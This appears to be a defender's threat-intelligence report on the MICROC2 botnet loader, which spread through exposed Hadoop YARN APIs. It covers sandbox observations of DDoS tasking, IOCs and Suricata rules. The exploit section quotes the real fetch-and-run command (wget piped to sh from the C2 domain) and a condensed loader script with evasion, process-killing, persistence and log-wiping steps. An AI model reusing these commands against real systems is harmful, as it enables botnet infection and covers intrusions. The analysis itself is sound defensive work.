MICROC2 — cross-platform botnet loader

Executive summary

One IP hit six of our sensors twice in under two hours through an unauthenticated Hadoop API endpoint most defenders have never had reason to think about. The loader it planted didn't just sit there. We put the payload in a sandbox and watched it stay in contact with its command server for days, taking orders six separate times and cycling through four different attack techniques.

VirusTotal community data (queried 2026-07-03) shows the C2 domain was registered 2026-05-24, about four weeks before this exploitation wave, and is already flagged malicious by 9 of 91 engines. The C2 IP itself carries a negative community reputation and was independently re-scanned by VirusTotal multiple times in the days following our sandbox detonation (most recently 2026-07-03 09:06 UTC). That's active, concurrent tracking by the wider security community, even though we found no named public write-up of this specific campaign. The captured binary sample itself had never previously been submitted to VirusTotal. We submitted it as part of this investigation; engine results are pending.

Threat actor profile

No named threat actor or public campaign write-up was found matching this loader's tradecraft, C2 domain, or binary-naming convention. The operator has not been attributed.

Infrastructure analysis

Exploitation wave (2026-06-18)

All 11 events carried the identical shell command. The 105-minute gap between the first and second sub-wave, hitting five of the same six sensors again, suggests either a retry pass by the same scanning infrastructure or a second thread of the same scan-and-exploit tool working through an overlapping target list.

Command and control

Malware analysis

Loader script

POSIX shell, ~4.5 KB. Performs, in order: sandbox/container evasion (checks /proc/version for "microsoft", /proc/vz, /.dockerenv — exits silently if any match), competitor-process eviction by name, target-architecture detection (including Android markers /system/bin/linker[64]), payload download, process masquerading, four-vector persistence installation, log/history cleanup, and self-deletion.

Payload binary

Static binary analysis

Disassembling the unpacked binary confirms it implements networking via direct Linux syscalls rather than higher-level libc socket APIs — consistent with the minimal-footprint, hand-rolled style typical of Mirai-derivative flooders. The relevant syscall wrapper functions were located and verified against their actual Linux x86-64 syscall numbers:

; objdump -d (unpacked, UPX-stripped) -- socket() wrapper, verified syscall #41 (0x29)
  4149f8:  53                    push   %rbx
  4149f9:  48 63 d2              movslq %edx,%rdx
  4149fc:  48 63 f6              movslq %esi,%rsi
  4149ff:  48 63 ff              movslq %edi,%rdi
  414a02:  b8 29 00 00 00        mov    $0x29,%eax     ; 41 = __NR_socket
  414a07:  0f 05                 syscall

; connect() wrapper, verified syscall #42 (0x2a)
  41485c:  53                    push   %rbx
  41485d:  89 d2                 mov    %edx,%edx
  41485f:  48 63 ff              movslq %edi,%rdi
  414862:  b8 2a 00 00 00        mov    $0x2a,%eax     ; 42 = __NR_connect
  414867:  0f 05                 syscall

The same technique confirmed bind (#49), accept (#43), recvfrom (#45), recvmsg (#47), sendmsg (#46), sendto (#44), setsockopt/getsockopt (#54/#55), and shutdown (#51) all present as real, callable code — a full raw-socket toolkit, not just the subset we happened to observe in two sandbox runs. socket() is the single most-called function in the entire binary (48 call sites), consistent with a bot that opens many short-lived connections rather than reusing one.

Static analysis also turned up a capability we have not observed used: a full DNS-resolution routine (IPv4 and IPv6 aware, port 53, retry logic with randomized transaction IDs), musl's standard hostname-resolution machinery. Every C2 interaction we've captured uses the hardcoded IP 94.154.43.46 directly, so this is dormant capability, not active behavior. It means the operator could redirect the botnet to a new C2 by simply changing a resolvable hostname in a future build, without needing to patch this networking logic.

Domain intelligence — microc2.lol

The domain's creation date (2026-05-24) falls roughly four weeks before the exploitation wave against our fleet — consistent with infrastructure stood up specifically to support this campaign rather than long-lived, reused C2.

Sandbox detonation

We ran the x86_64 payload twice: a 12-hour window first, then a 72-hour re-run once it was clear the C2 was still handing out orders. Between the two runs the bot got tasked six times against six different targets, cycling through four distinct attack techniques (one of them repeated back-to-back against two targets in the same session). We also missed one of the early attacks while it was happening — caught it only on a full pcap review after the fact, a mistake documented below alongside how we changed our monitoring afterward.

12-hour run — attack #1

Roughly 51 minutes after check-in (~20:18 UTC), the C2 pushed a 34-byte command, the first payload larger than a routine 1–2 byte heartbeat observed on that channel. The bot began attacking a third-party target roughly 55 milliseconds later. Full TCP stream reassembly of the resulting traffic shows the bot opened 96 connections to target 1 (AS16276, OVH SAS):25568 over roughly three minutes. Each connection sent a fake GET / HTTP/1.1 request with a Host: localhost header (likely a template/decoy artifact rather than a functional HTTP client), followed by high-entropy binary data in chunks up to 1460 bytes. Across the full attack window, 100% of application payload flowed from the bot to the target (14.2 MB across 17,218 TCP segments); the target never sent data back beyond bare TCP acknowledgments. This is a garbage-payload / bandwidth-exhaustion flood, not an HTTP request-rate flood. A second, identical 34-byte command arrived 34 seconds after the first, within the same attack window.

12-hour run — attack #2

Outside these two windows, the C2 channel carried only routine heartbeat traffic (1–2 bytes, ~60s interval) and occasional short bursts of small (1–4 byte) protocol chatter with no associated external connections, likely status/sync exchanges rather than tasking. No DNS traffic was observed at any point in the 12-hour run; the bot uses a hardcoded C2 IP throughout.

72-hour re-run — attack #3: a different technique

72-hour re-run — attack #4: a third technique

72-hour re-run — attacks #5 and #6: a fourth technique, two targets back to back

Target fingerprints

Targets 1, 2, 5, and 6 show no VirusTotal detections and, apart from Target 6's stale scan, no recent history — consistent with incidental targets rather than known-malicious infrastructure. Targets 3 and 4 are the exceptions: both already carry multiple VT detections, last analyzed within a day of our observed attacks. That means either the community was already tracking these IPs as suspicious, or the C2 preferentially selected targets already flagged for unrelated reasons. Target 6 is also notable for a different reason: it sits on the exact same hosting provider (AS214833) as Target 2, the only repeat provider across all six targets — everything else sits on unrelated ASNs in different countries, which argues against any of them being the same actor's own infrastructure. It's more consistent with arbitrary DDoS-for-hire targets tasked by whoever controls this C2. IPs withheld; ports and hosting details retained for defenders correlating against their own logs.

Observed TTPs — MITRE ATT&CK

Activity timeline

Exploit payload

Hadoop YARN ResourceManager unauthenticated RCE (port 8088)

The Hadoop YARN ResourceManager REST API, when exposed without authentication, allows any client to submit a new "application" whose launch-context command is executed by the ResourceManager itself. This is a long-documented misconfiguration (not a CVE-numbered vulnerability) that has been mass-exploited since at least 2018 by botnets including DemonBot and various Mirai derivatives. The captured payload delivery command:

wget -qO- http://ssh.microc2.lol/static/js/chunk.sh | sh

was observed injected via the standard YARN new-application submission flow (/ws/v1/cluster/apps/new-application → /ws/v1/cluster/apps, with the command embedded in am-container-spec.commands.command), identical across all 11 captured events.

Loader behavior summary

# Sandbox/container evasion — exits silently if any match
grep -qi "microsoft" /proc/version || [ -d /proc/vz ] || [ -f /.dockerenv ]

# Competitor eviction (not self)
kill -9 $(ps | grep -E '(zaksmdfasdf|sora|vmlinuz|moe|dota|x86_64|bash.mips)' | grep -v $$ | awk '{print $1}')

# Architecture fingerprint incl. Android
[ -f /system/bin/linker64 ] && echo "sdfjgnjsdf.arm7"   # Android
[ -f /lib64/ld-linux-x86-64.so.2 ] && echo "sdfjgnjsdf.x86_64"
# ...case fallback on `uname -m` for mips/mpsl/ppc/spc/m68k/sh4/arm[4-7]

# Fetch + masquerade
wget/curl/tftp "$BASEURL/$binary" -O "$binary"
cp "$binary" ".ntpd"; "./.ntpd" "$binary" &

# Persistence — crontab, rc.local, init.d, systemd (fake "Network Time Sync")
# Anti-forensics — clear HISTFILE, bash/zsh/sh history, auth.log/secure
# Self-delete: rm -f "$0"
# Beacon: wget -qO- "http://$SRV:8080/+?arch=$binary"

Indicators of compromise

Network IOCs

File IOCs

Filesystem artifacts

Mitigations and detection

Detection signatures

# Suricata/Snort — YARN RCE exploitation attempt
alert http any any -> $HOME_NET 8088 (msg:"MICROC2 Hadoop YARN unauthenticated RCE attempt"; \
  content:"am-container-spec"; http_client_body; \
  content:"microc2.lol"; http_client_body; \
  flow:established,to_server; sid:9920001; rev:1;)

# Suricata/Snort — loader payload delivery
alert http any any -> any any (msg:"MICROC2 loader download"; \
  content:"/static/js/chunk.sh"; http_uri; \
  content:"microc2.lol"; http_header; \
  flow:established,to_server; sid:9920002; rev:1;)

# Suricata — outbound C2 beacon
alert tcp $HOME_NET any -> 94.154.43.46 [80,1337,8080] (msg:"MICROC2 C2 beacon"; \
  flow:established,to_server; sid:9920003; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes also run alternate-protocol lure daemons that capture exploitation attempts against commonly-targeted services beyond SSH/Telnet, including the unauthenticated Hadoop YARN REST API used in this campaign.

The payload was fetched by the fleet's automated pipeline shortly after first capture and again at later dates as part of routine indicator re-validation. The x86_64 sample was detonated in an isolated sandbox environment with network egress routed through a residential-style VPN for realistic network conditions; no interaction with victim networks occurred beyond passive observation of traffic the sample itself generated. VirusTotal domain, IP, and file lookups were performed via the fleet's own investigation tooling.